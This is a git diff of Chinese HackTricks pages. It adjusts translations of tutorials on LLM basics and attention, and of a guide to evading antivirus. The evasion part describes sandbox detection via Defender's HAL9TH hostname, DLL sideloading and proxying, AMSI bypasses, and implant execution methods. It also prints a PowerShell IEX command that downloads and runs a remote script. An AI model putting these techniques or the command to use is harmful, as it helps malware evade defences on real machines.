<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
## 预训练
|
## 预训练
|
||||||
|
|
||||||
预训练是开发大型语言模型(LLM)的基础阶段,在此阶段,模型接触到大量多样的文本数据。在此阶段,**LLM 学习语言的基本结构、模式和细微差别**,包括语法、词汇、句法和上下文关系。通过处理这些广泛的数据,模型获得了对语言和一般世界知识的广泛理解。这一全面的基础使 LLM 能够生成连贯且上下文相关的文本。随后,这个预训练的模型可以进行微调,进一步在专业数据集上进行训练,以适应其在特定任务或领域的能力,从而提高其在目标应用中的性能和相关性。
|
预训练是开发大型语言模型(LLM)的基础阶段,在此阶段,模型接触到大量多样的文本数据。在此阶段,**LLM 学习语言的基本结构、模式和细微差别**,包括语法、词汇、句法和上下文关系。通过处理这些广泛的数据,模型获得了对语言和一般世界知识的广泛理解。这一全面的基础使 LLM 能够生成连贯且上下文相关的文本。随后,这个预训练模型可以进行微调,在专门的数据集上进一步训练,以适应其在特定任务或领域的能力,从而提高其在目标应用中的性能和相关性。
|
||||||
|
|
||||||
## 主要 LLM 组件
|
## 主要 LLM 组件
|
||||||
|
|
||||||
|
@ -14,7 +14,7 @@
|
||||||
* **隐藏维度**:神经网络中隐藏层的大小。
|
* **隐藏维度**:神经网络中隐藏层的大小。
|
||||||
* **层数(深度)**:模型的层数。LLM 通常使用数十层。
|
* **层数(深度)**:模型的层数。LLM 通常使用数十层。
|
||||||
* **注意力头数**:在变换器模型中,这是每层中使用的独立注意力机制的数量。LLM 通常使用数十个头。
|
* **注意力头数**:在变换器模型中,这是每层中使用的独立注意力机制的数量。LLM 通常使用数十个头。
|
||||||
* **丢弃率**:丢弃率类似于在训练过程中移除的数据百分比(概率变为 0),用于**防止过拟合。** LLM 通常使用 0-20% 之间的丢弃率。
|
* **丢弃率**:丢弃率类似于在训练过程中移除的数据百分比(概率变为 0),用于**防止过拟合。** LLM 通常使用 0-20% 之间的值。
|
||||||
|
|
||||||
GPT-2 模型的配置:
|
GPT-2 模型的配置:
|
||||||
```json
|
```json
|
||||||
|
@ -34,7 +34,7 @@ GPT_CONFIG_124M = {
|
||||||
|
|
||||||
### Mathematical Concept of Tensors
|
### Mathematical Concept of Tensors
|
||||||
|
|
||||||
* **Scalars**: 秩为 0 的张量,表示一个单一的数字(零维)。例如:5
|
* **Scalars**: 秩为 0 的张量,表示一个单一数字(零维)。例如:5
|
||||||
* **Vectors**: 秩为 1 的张量,表示一维数字数组。例如:\[5,1]
|
* **Vectors**: 秩为 1 的张量,表示一维数字数组。例如:\[5,1]
|
||||||
* **Matrices**: 秩为 2 的张量,表示具有行和列的二维数组。例如:\[\[1,3], \[5,2]]
|
* **Matrices**: 秩为 2 的张量,表示具有行和列的二维数组。例如:\[\[1,3], \[5,2]]
|
||||||
* **Higher-Rank Tensors**: 秩为 3 或更高的张量,表示更高维度的数据(例如,3D 张量用于彩色图像)。
|
* **Higher-Rank Tensors**: 秩为 3 或更高的张量,表示更高维度的数据(例如,3D 张量用于彩色图像)。
|
||||||
|
@ -89,7 +89,7 @@ print(float_tensor.dtype) # Output: torch.float32
|
||||||
```
|
```
|
||||||
### 常见的张量操作
|
### 常见的张量操作
|
||||||
|
|
||||||
PyTorch 提供了多种操作来操作张量:
|
PyTorch 提供了多种操作来处理张量:
|
||||||
|
|
||||||
* **访问形状**:使用 `.shape` 获取张量的维度。
|
* **访问形状**:使用 `.shape` 获取张量的维度。
|
||||||
|
|
||||||
|
@ -122,7 +122,7 @@ result = tensor2d @ tensor2d.T
|
||||||
|
|
||||||
## 自动微分
|
## 自动微分
|
||||||
|
|
||||||
自动微分(AD)是一种计算技术,用于**高效且准确地评估函数的导数(梯度)**。在神经网络的上下文中,AD 使得计算**优化算法如梯度下降**所需的梯度成为可能。PyTorch 提供了一个名为 **autograd** 的自动微分引擎,简化了这个过程。
|
自动微分(AD)是一种计算技术,用于高效且准确地 **评估函数的导数(梯度)**。在神经网络的上下文中,AD 使得计算 **优化算法如梯度下降** 所需的梯度成为可能。PyTorch 提供了一个名为 **autograd** 的自动微分引擎,简化了这个过程。
|
||||||
|
|
||||||
### 自动微分的数学解释
|
### 自动微分的数学解释
|
||||||
|
|
||||||
|
@ -132,7 +132,7 @@ result = tensor2d @ tensor2d.T
|
||||||
|
|
||||||
在数学上,如果 `y=f(u)` 且 `u=g(x)`,那么 `y` 对 `x` 的导数为:
|
在数学上,如果 `y=f(u)` 且 `u=g(x)`,那么 `y` 对 `x` 的导数为:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**2. 计算图**
|
**2. 计算图**
|
||||||
|
|
||||||
|
@ -142,7 +142,7 @@ result = tensor2d @ tensor2d.T
|
||||||
|
|
||||||
让我们考虑一个简单的函数:
|
让我们考虑一个简单的函数:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
其中:
|
其中:
|
||||||
|
|
||||||
|
@ -200,12 +200,12 @@ Gradient w.r.t b: tensor([-0.0817])
|
||||||
|
|
||||||
* **Forward Pass:** 通过将输入传递通过每一层来计算网络的输出。
|
* **Forward Pass:** 通过将输入传递通过每一层来计算网络的输出。
|
||||||
* **Compute Loss:** 使用网络的输出和目标标签评估损失函数。
|
* **Compute Loss:** 使用网络的输出和目标标签评估损失函数。
|
||||||
* **Backward Pass (Backpropagation):** 通过从输出层递归应用链式法则到输入层,计算损失相对于网络中每个参数的梯度。
|
* **Backward Pass (Backpropagation):** 通过从输出层递归应用链式法则,计算损失相对于网络中每个参数的梯度,直到输入层。
|
||||||
|
|
||||||
### **2. Backpropagation Algorithm**
|
### **2. Backpropagation Algorithm**
|
||||||
|
|
||||||
* **Step 1:** 初始化网络参数(权重和偏置)。
|
* **Step 1:** 初始化网络参数(权重和偏置)。
|
||||||
* **Step 2:** 对于每个训练示例,执行前向传播以计算输出。
|
* **Step 2:** 对于每个训练样本,执行前向传播以计算输出。
|
||||||
* **Step 3:** 计算损失。
|
* **Step 3:** 计算损失。
|
||||||
* **Step 4:** 使用链式法则计算损失相对于每个参数的梯度。
|
* **Step 4:** 使用链式法则计算损失相对于每个参数的梯度。
|
||||||
* **Step 5:** 使用优化算法(例如,梯度下降)更新参数。
|
* **Step 5:** 使用优化算法(例如,梯度下降)更新参数。
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
# 4. 注意机制
|
# 4. 注意机制
|
||||||
|
|
||||||
## 神经网络中的注意机制和自注意力
|
## 注意机制和神经网络中的自注意力
|
||||||
|
|
||||||
注意机制允许神经网络在生成输出的每个部分时**专注于输入的特定部分**。它们为不同的输入分配不同的权重,帮助模型决定哪些输入与当前任务最相关。这在机器翻译等任务中至关重要,因为理解整个句子的上下文对于准确翻译是必要的。
|
注意机制允许神经网络在生成输出的每个部分时**专注于输入的特定部分**。它们为不同的输入分配不同的权重,帮助模型决定哪些输入与当前任务最相关。这在机器翻译等任务中至关重要,因为理解整个句子的上下文对于准确翻译是必要的。
|
||||||
|
|
||||||
|
@ -40,7 +40,7 @@
|
||||||
#### 步骤1:计算注意分数
|
#### 步骤1:计算注意分数
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
只需将查询的每个维度值与每个标记的相关维度相乘并加上结果。你会得到每对标记的1个值。
|
只需将查询的每个维度值与每个标记的相关维度相乘并加上结果。你将为每对标记获得1个值。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
对于句子中的每个单词,通过计算它们嵌入的点积来计算与“shiny”的**注意分数**。
|
对于句子中的每个单词,通过计算它们嵌入的点积来计算与“shiny”的**注意分数**。
|
||||||
|
@ -51,7 +51,7 @@
|
||||||
|
|
||||||
**“shiny”和“shiny”之间的注意分数**
|
**“shiny”和“shiny”之间的注意分数**
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**“sun”和“shiny”之间的注意分数**
|
**“sun”和“shiny”之间的注意分数**
|
||||||
|
|
||||||
|
@ -225,7 +225,7 @@ sa_v2 = SelfAttention_v2(d_in, d_out)
|
||||||
print(sa_v2(inputs))
|
print(sa_v2(inputs))
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
注意,`nn.Linear`用于将所有权重标记为训练参数,而不是用随机值初始化矩阵。
|
请注意,`nn.Linear`用于将所有权重标记为可训练参数,而不是用随机值初始化矩阵。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## 因果注意力:隐藏未来词汇
|
## 因果注意力:隐藏未来词汇
|
||||||
|
@ -258,11 +258,11 @@ attention_weights = torch.softmax(masked_scores, dim=-1)
|
||||||
dropout = nn.Dropout(p=0.5)
|
dropout = nn.Dropout(p=0.5)
|
||||||
attention_weights = dropout(attention_weights)
|
attention_weights = dropout(attention_weights)
|
||||||
```
|
```
|
||||||
一个常规的 dropout 约为 10-20%。
|
常规的 dropout 约为 10-20%。
|
||||||
|
|
||||||
### 代码示例
|
### Code Example
|
||||||
|
|
||||||
代码示例来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb):
|
Code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb):
|
||||||
```python
|
```python
|
||||||
import torch
|
import torch
|
||||||
import torch.nn as nn
|
import torch.nn as nn
|
||||||
|
@ -407,12 +407,12 @@ print(context_vecs)
|
||||||
print("context_vecs.shape:", context_vecs.shape)
|
print("context_vecs.shape:", context_vecs.shape)
|
||||||
|
|
||||||
```
|
```
|
||||||
对于另一个紧凑且高效的实现,您可以在 PyTorch 中使用 [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) 类。
|
对于另一个紧凑且高效的实现,您可以使用 PyTorch 中的 [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) 类。
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
ChatGPT 关于为什么将令牌的维度分配给各个头而不是让每个头检查所有令牌的所有维度的简短回答:
|
ChatGPT 关于为什么将令牌的维度分配给各个头而不是让每个头检查所有令牌的所有维度的简短回答:
|
||||||
|
|
||||||
虽然允许每个头处理所有嵌入维度似乎有优势,因为每个头将能够访问完整信息,但标准做法是 **将嵌入维度分配给各个头**。这种方法在计算效率与模型性能之间取得平衡,并鼓励每个头学习多样化的表示。因此,通常更倾向于分割嵌入维度,而不是让每个头检查所有维度。
|
虽然允许每个头处理所有嵌入维度似乎有利,因为每个头将能够访问完整信息,但标准做法是**将嵌入维度分配给各个头**。这种方法在计算效率与模型性能之间取得平衡,并鼓励每个头学习多样化的表示。因此,通常更倾向于分割嵌入维度,而不是让每个头检查所有维度。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
|
@ -15,7 +15,7 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
|
@ -29,7 +29,7 @@
|
||||||
|
|
||||||
### **静态检测**
|
### **静态检测**
|
||||||
|
|
||||||
静态检测是通过标记已知的恶意字符串或字节数组在二进制文件或脚本中实现的,同时也提取文件本身的信息(例如文件描述、公司名称、数字签名、图标、校验和等)。这意味着使用已知的公共工具可能更容易被捕获,因为它们可能已经被分析并标记为恶意。有几种方法可以绕过这种检测:
|
静态检测是通过标记已知的恶意字符串或字节数组在二进制文件或脚本中实现的,同时还提取文件本身的信息(例如文件描述、公司名称、数字签名、图标、校验和等)。这意味着使用已知的公共工具可能更容易被捕获,因为它们可能已经被分析并标记为恶意。有几种方法可以绕过这种检测:
|
||||||
|
|
||||||
* **加密**
|
* **加密**
|
||||||
|
|
||||||
|
@ -55,13 +55,13 @@
|
||||||
|
|
||||||
* **执行前休眠** 根据实现方式,这可能是绕过 AV 动态分析的好方法。AV 扫描文件的时间非常短,以免打断用户的工作流程,因此使用长时间的休眠可以干扰二进制文件的分析。问题是许多 AV 的沙箱可以根据实现方式跳过休眠。
|
* **执行前休眠** 根据实现方式,这可能是绕过 AV 动态分析的好方法。AV 扫描文件的时间非常短,以免打断用户的工作流程,因此使用长时间的休眠可以干扰二进制文件的分析。问题是许多 AV 的沙箱可以根据实现方式跳过休眠。
|
||||||
* **检查机器资源** 通常沙箱可用的资源非常少(例如 < 2GB RAM),否则它们可能会减慢用户的机器。你也可以在这里发挥创造力,例如检查 CPU 的温度或风扇速度,并不是所有内容都会在沙箱中实现。
|
* **检查机器资源** 通常沙箱可用的资源非常少(例如 < 2GB RAM),否则它们可能会减慢用户的机器。你也可以在这里发挥创造力,例如检查 CPU 的温度或风扇速度,并不是所有内容都会在沙箱中实现。
|
||||||
* **特定机器检查** 如果你想针对加入 "contoso.local" 域的用户工作站,可以检查计算机的域以查看是否与指定的域匹配,如果不匹配,可以让你的程序退出。
|
* **特定机器检查** 如果你想针对加入 "contoso.local" 域的用户的工作站,你可以检查计算机的域以查看是否与指定的域匹配,如果不匹配,你可以让程序退出。
|
||||||
|
|
||||||
事实证明,Microsoft Defender 的沙箱计算机名是 HAL9TH,因此,你可以在恶意软件引爆前检查计算机名,如果名称匹配 HAL9TH,则意味着你在 Defender 的沙箱中,因此可以让你的程序退出。
|
事实证明,Microsoft Defender 的沙箱计算机名是 HAL9TH,因此,你可以在恶意软件引爆前检查计算机名,如果名称匹配 HAL9TH,则意味着你在 Defender 的沙箱中,因此可以让程序退出。
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>来源: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>来源: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||||
|
|
||||||
一些来自 [@mgeeky](https://twitter.com/mariuszbit) 的非常好的建议,用于对抗沙箱
|
一些来自 [@mgeeky](https://twitter.com/mariuszbit) 的非常好的针对沙箱的建议
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">红队 VX Discord</a> #malware-dev 频道</p></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">红队 VX Discord</a> #malware-dev 频道</p></figcaption></figure>
|
||||||
|
|
||||||
|
@ -69,7 +69,7 @@
|
||||||
|
|
||||||
例如,如果你想转储 LSASS,**你真的需要使用 mimikatz 吗**?或者你可以使用一个不太知名的项目来转储 LSASS。
|
例如,如果你想转储 LSASS,**你真的需要使用 mimikatz 吗**?或者你可以使用一个不太知名的项目来转储 LSASS。
|
||||||
|
|
||||||
正确的答案可能是后者。以 mimikatz 为例,它可能是被 AV 和 EDR 标记的恶意软件中最被标记的之一,尽管该项目本身非常酷,但在绕过 AV 时使用它也是一场噩梦,因此只需寻找你想要实现的目标的替代方案。
|
正确的答案可能是后者。以 mimikatz 为例,它可能是被 AV 和 EDR 标记的最多的恶意软件之一,尽管该项目本身非常酷,但在绕过 AV 时使用它也是一场噩梦,因此只需寻找替代方案来实现你的目标。
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
在修改你的有效载荷以进行规避时,请确保 **关闭 Defender 的自动样本提交**,并且请认真考虑,**如果你的目标是长期规避,请不要上传到 VIRUSTOTAL**。如果你想检查你的有效载荷是否被特定 AV 检测到,请在虚拟机上安装它,尝试关闭自动样本提交,并在那里进行测试,直到你对结果满意为止。
|
在修改你的有效载荷以进行规避时,请确保 **关闭 Defender 的自动样本提交**,并且请认真考虑,**如果你的目标是长期规避,请不要上传到 VIRUSTOTAL**。如果你想检查你的有效载荷是否被特定 AV 检测到,请在虚拟机上安装它,尝试关闭自动样本提交,并在那里进行测试,直到你对结果满意为止。
|
||||||
|
@ -77,7 +77,7 @@
|
||||||
|
|
||||||
## EXEs 与 DLLs
|
## EXEs 与 DLLs
|
||||||
|
|
||||||
每当可能时,总是 **优先使用 DLL 进行规避**,根据我的经验,DLL 文件通常 **被检测和分析的概率要低得多**,因此在某些情况下使用它来避免检测是一个非常简单的技巧(当然,如果你的有效载荷有某种方式以 DLL 的形式运行)。
|
每当可能时,总是 **优先使用 DLL 进行规避**,根据我的经验,DLL 文件通常 **被检测和分析的概率要低得多**,因此在某些情况下使用它来避免检测是一个非常简单的技巧(当然前提是你的有效载荷有某种方式以 DLL 的形式运行)。
|
||||||
|
|
||||||
正如我们在这张图片中看到的,Havoc 的 DLL 有效载荷在 antiscan.me 上的检测率为 4/26,而 EXE 有效载荷的检测率为 7/26。
|
正如我们在这张图片中看到的,Havoc 的 DLL 有效载荷在 antiscan.me 上的检测率为 4/26,而 EXE 有效载荷的检测率为 7/26。
|
||||||
|
|
||||||
|
@ -100,13 +100,13 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
此命令将输出“C:\Program Files\\”中易受DLL劫持影响的程序列表及其尝试加载的DLL文件。
|
此命令将输出“C:\Program Files\\”中易受DLL劫持的程序列表及其尝试加载的DLL文件。
|
||||||
|
|
||||||
我强烈建议您**自己探索可被DLL劫持/侧载的程序**,如果正确执行,这种技术相当隐蔽,但如果您使用公开已知的DLL侧载程序,可能会很容易被抓住。
|
我强烈建议你**自己探索可被DLL劫持/侧载的程序**,如果正确执行,这种技术相当隐蔽,但如果你使用公开已知的DLL侧载程序,可能会很容易被抓住。
|
||||||
|
|
||||||
仅仅放置一个恶意DLL,其名称是程序期望加载的,并不会加载您的有效载荷,因为程序期望该DLL中有一些特定的函数。为了解决这个问题,我们将使用另一种技术,称为**DLL代理/转发**。
|
仅仅放置一个恶意DLL,其名称是程序期望加载的,并不会加载你的有效载荷,因为程序期望该DLL中有一些特定的函数。为了解决这个问题,我们将使用另一种技术,称为**DLL代理/转发**。
|
||||||
|
|
||||||
**DLL代理**将程序从代理(和恶意)DLL发出的调用转发到原始DLL,从而保留程序的功能并能够处理您的有效载荷的执行。
|
**DLL代理**将程序从代理(和恶意)DLL发出的调用转发到原始DLL,从而保留程序的功能,并能够处理你的有效载荷的执行。
|
||||||
|
|
||||||
我将使用[@flangvik](https://twitter.com/Flangvik/)的[SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy)项目。
|
我将使用[@flangvik](https://twitter.com/Flangvik/)的[SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy)项目。
|
||||||
|
|
||||||
|
@ -140,7 +140,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
||||||
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
我 **强烈推荐** 你观看 [S3cur3Th1sSh1t 的 twitch VOD](https://www.twitch.tv/videos/1644171543) 关于 DLL Sideloading,以及 [ippsec 的视频](https://www.youtube.com/watch?v=3eROsG\_WNpE) 以更深入地了解我们讨论的内容。
|
我 **强烈推荐** 你观看 [S3cur3Th1sSh1t 的 twitch VOD](https://www.twitch.tv/videos/1644171543) 关于 DLL 侧载,以及 [ippsec 的视频](https://www.youtube.com/watch?v=3eROsG\_WNpE) 以更深入地了解我们讨论的内容。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||||
|
@ -157,7 +157,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||||
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
规避只是猫和老鼠的游戏,今天有效的方法明天可能会被检测到,因此永远不要仅依赖一个工具,如果可能的话,尝试将多个规避技术结合起来。
|
规避只是猫和老鼠的游戏,今天有效的方法明天可能会被检测到,因此永远不要仅依赖一个工具,如果可能,尝试将多个规避技术结合起来。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## AMSI(反恶意软件扫描接口)
|
## AMSI(反恶意软件扫描接口)
|
||||||
|
@ -172,7 +172,7 @@ AMSI功能集成在Windows的以下组件中。
|
||||||
* JavaScript和VBScript
|
* JavaScript和VBScript
|
||||||
* Office VBA宏
|
* Office VBA宏
|
||||||
|
|
||||||
它允许杀毒解决方案通过以未加密和未混淆的形式暴露脚本内容来检查脚本行为。
|
它允许杀毒软件通过以未加密和未混淆的形式暴露脚本内容来检查脚本行为。
|
||||||
|
|
||||||
运行 `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` 将在Windows Defender上产生以下警报。
|
运行 `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` 将在Windows Defender上产生以下警报。
|
||||||
|
|
||||||
|
@ -204,7 +204,7 @@ AMSI功能集成在Windows的以下组件中。
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
只需一行 PowerShell 代码就可以使当前 PowerShell 进程无法使用 AMSI。 这行代码当然已经被 AMSI 本身标记,因此需要进行一些修改才能使用此技术。
|
只需一行 PowerShell 代码就可以使当前 PowerShell 进程无法使用 AMSI。 当然,这一行已经被 AMSI 本身标记,因此需要进行一些修改才能使用此技术。
|
||||||
|
|
||||||
这是我从这个 [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) 中获取的修改版 AMSI 绕过。
|
这是我从这个 [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) 中获取的修改版 AMSI 绕过。
|
||||||
```powershell
|
```powershell
|
||||||
|
@ -239,7 +239,7 @@ $Spotfix.SetValue($null,$true)
|
||||||
有几种工具可以用来 **混淆 C# 明文代码**,生成 **元编程模板** 以编译二进制文件或 **混淆已编译的二进制文件**,例如:
|
有几种工具可以用来 **混淆 C# 明文代码**,生成 **元编程模板** 以编译二进制文件或 **混淆已编译的二进制文件**,例如:
|
||||||
|
|
||||||
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 混淆器**
|
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 混淆器**
|
||||||
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 该项目的目的是提供一个开源的 LLVM 编译套件分支,能够通过 [代码混淆](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) 和防篡改提供增强的软件安全性。
|
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 该项目的目标是提供一个开源的 LLVM 编译套件分支,能够通过 [代码混淆](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) 和防篡改提供增强的软件安全性。
|
||||||
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator 演示如何使用 `C++11/14` 语言在编译时生成混淆代码,而无需使用任何外部工具且不修改编译器。
|
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator 演示如何使用 `C++11/14` 语言在编译时生成混淆代码,而无需使用任何外部工具且不修改编译器。
|
||||||
* [**obfy**](https://github.com/fritzone/obfy): 添加一层由 C++ 模板元编程框架生成的混淆操作,这将使想要破解应用程序的人稍微困难一些。
|
* [**obfy**](https://github.com/fritzone/obfy): 添加一层由 C++ 模板元编程框架生成的混淆操作,这将使想要破解应用程序的人稍微困难一些。
|
||||||
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz 是一个 x64 二进制混淆器,能够混淆各种不同的 pe 文件,包括:.exe, .dll, .sys
|
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz 是一个 x64 二进制混淆器,能够混淆各种不同的 pe 文件,包括:.exe, .dll, .sys
|
||||||
|
@ -258,7 +258,7 @@ Microsoft Defender SmartScreen 是一种安全机制,旨在保护最终用户
|
||||||
|
|
||||||
SmartScreen 主要采用基于声誉的方法,这意味着不常下载的应用程序将触发 SmartScreen,从而警告并阻止最终用户执行该文件(尽管可以通过点击更多信息 -> 无论如何运行来执行该文件)。
|
SmartScreen 主要采用基于声誉的方法,这意味着不常下载的应用程序将触发 SmartScreen,从而警告并阻止最终用户执行该文件(尽管可以通过点击更多信息 -> 无论如何运行来执行该文件)。
|
||||||
|
|
||||||
**MoTW**(网络标记)是一个 [NTFS 备用数据流](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)),其名称为 Zone.Identifier,下载来自互联网的文件时会自动创建,并包含下载的 URL。
|
**MoTW**(网络标记)是一个 [NTFS 备用数据流](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)),其名称为 Zone.Identifier,下载来自互联网的文件时会自动创建,并附带下载的 URL。
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>检查从互联网下载的文件的 Zone.Identifier ADS。</p></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>检查从互联网下载的文件的 Zone.Identifier ADS。</p></figcaption></figure>
|
||||||
|
|
||||||
|
@ -308,13 +308,13 @@ Adding file: /TotallyLegitApp.exe
|
||||||
|
|
||||||
* **Fork\&Run**
|
* **Fork\&Run**
|
||||||
|
|
||||||
这涉及到 **生成一个新的牺牲进程**,将你的后渗透恶意代码注入到该新进程中,执行你的恶意代码,完成后杀死新进程。这有其优点和缺点。Fork 和 run 方法的好处在于执行发生在 **我们的 Beacon 植入进程之外**。这意味着如果我们的后渗透操作中的某些事情出错或被捕获,我们的 **植入物存活的机会更大**。缺点是你有 **更大的机会** 被 **行为检测** 捕获。
|
这涉及到 **生成一个新的牺牲进程**,将你的后渗透恶意代码注入到那个新进程中,执行你的恶意代码,完成后杀死新进程。这有其优点和缺点。Fork 和 run 方法的好处在于执行发生在 **我们的 Beacon 植入进程之外**。这意味着如果我们的后渗透操作中的某些事情出错或被捕获,我们的 **植入物存活的机会更大**。缺点是你有 **更大的机会** 被 **行为检测** 捕获。
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
* **Inline**
|
* **Inline**
|
||||||
|
|
||||||
这是将后渗透恶意代码 **注入到其自身进程中**。这样,你可以避免创建新进程并让其被 AV 扫描,但缺点是如果你的有效负载执行出现问题,**失去你的 beacon 的机会更大**,因为它可能崩溃。
